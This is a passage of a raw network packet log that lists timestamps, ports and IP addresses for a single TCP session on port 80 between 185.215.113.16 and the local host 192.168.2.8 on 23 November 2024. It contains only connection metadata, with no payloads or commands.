Nov 23, 2024 21:15:22.599370003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.599468946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.600174904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.600195885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.600239038 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.600250959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.601049900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.601135015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.601284027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.601360083 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.602041960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.602066994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.602128983 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.602986097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.603054047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.603210926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.603282928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.603971958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.604036093 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.604178905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.604296923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.604954004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.605015993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.605087996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.605175972 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.606062889 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.606137991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.606367111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.606431961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.607034922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.607100010 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.607368946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.607424974 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.607883930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.607954979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.607980967 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.608007908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.608819008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.608879089 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.609102011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.609157085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.609867096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.609929085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.610146046 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.610197067 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.610774040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.610836983 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.611037970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.611119032 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.611788988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.611848116 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.611979961 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.612035036 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.612725973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.612796068 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.612903118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.612963915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.613729954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.613833904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.613864899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.613924026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.614722967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.614768028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.614782095 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.614815950 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.615708113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.615772009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.615828991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.615902901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.616606951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.616666079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.616849899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.616904974 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.711652994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.711749077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.711894035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.711975098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.712090015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.712166071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.712373972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.712457895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.713076115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.713140011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.713232994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.713391066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.714041948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.714095116 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.780067921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.780252934 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.780289888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.780364990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.780400991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.780420065 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.780673981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.780774117 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.781157970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.781219959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.781344891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.781394005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.782246113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.782289028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.782311916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.782350063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.783154011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.783252954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.783267975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.783330917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.784157991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.784209013 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.784274101 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.784323931 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.785125017 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.785270929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.785429955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.785481930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.786000967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.786057949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.786158085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.786247015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.786997080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.787059069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.787127018 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.787201881 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.787952900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.788017988 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.788053989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.788120031 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.789042950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.789134979 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.789161921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.789211035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.789902925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.789969921 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.790719032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.790792942 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.790924072 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.790993929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.791040897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.791130066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.791856050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.791980982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.792207003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.792274952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.792821884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.792872906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.792947054 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.793056965 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.793811083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.793864965 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.794028997 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.794081926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.794760942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.794821978 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.794872999 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.794933081 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.795736074 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.795852900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.795912027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.796009064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.796706915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.796763897 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.796811104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.796880007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.797720909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.797842026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.797848940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.797904968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.798774004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.798830032 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.799052000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.799113989 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.799909115 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.799962044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.800082922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.800142050 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.800879955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.800940990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.801049948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.801184893 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.801853895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.801904917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.802162886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.802267075 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.802663088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.802719116 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.802905083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.803028107 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.803718090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.803805113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.804316044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.804371119 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.804514885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.804575920 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.804759026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.804847002 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.805474043 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.805633068 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.805860043 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.805919886 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.806437016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.806493044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.806710005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.806761026 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.807413101 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.807476997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.807549000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.807636023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.808373928 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.808439016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.808563948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.808623075 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.809369087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.809427023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.809551001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.809669971 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.810329914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.810375929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.810549974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.810621977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.811328888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.811378002 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.811451912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.811563969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.812264919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.812340021 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.812401056 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.812482119 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.813258886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.813318968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.813580990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.813638926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.814243078 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.814311981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.814335108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.814404964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.815236092 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.815291882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.815351963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.815418959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.816241980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.816292048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.816334963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.816401005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.817249060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.817312956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.817430019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.817568064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.818116903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.818191051 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.818344116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.818402052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.819130898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.819304943 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.819830894 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.819920063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.820059061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.820116043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.820154905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.820355892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.821048021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.821115971 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.821345091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.821418047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.822000027 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.822109938 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.822736025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.822796106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.823029995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.823050022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.823080063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.823096991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.824090958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.824160099 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.824238062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.824301004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.824924946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.824978113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.825053930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.825114012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.825892925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.826001883 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.826215029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.826272011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.826860905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.826922894 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.827052116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.827138901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.922302008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.922440052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.922462940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.922524929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.922609091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.922631025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.922667980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.923335075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.923367977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.923381090 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.923451900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.923537016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.924289942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.924354076 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.924398899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.924483061 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.990695000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.990751982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.990947962 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.990988970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.991182089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.991261005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.991338015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.991380930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.992191076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.992239952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.992856026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.992914915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.993134975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.993182898 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.993233919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.993277073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.994079113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.994189024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.994232893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.994275093 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.995064974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.995111942 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.995532036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.995595932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.996098995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.996119976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.996200085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.996990919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.997049093 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.997380972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.997430086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.997948885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.997999907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.998497009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.998562098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.998912096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.998960972 CET	49715	80	192.168.2.8	185.215.113.16
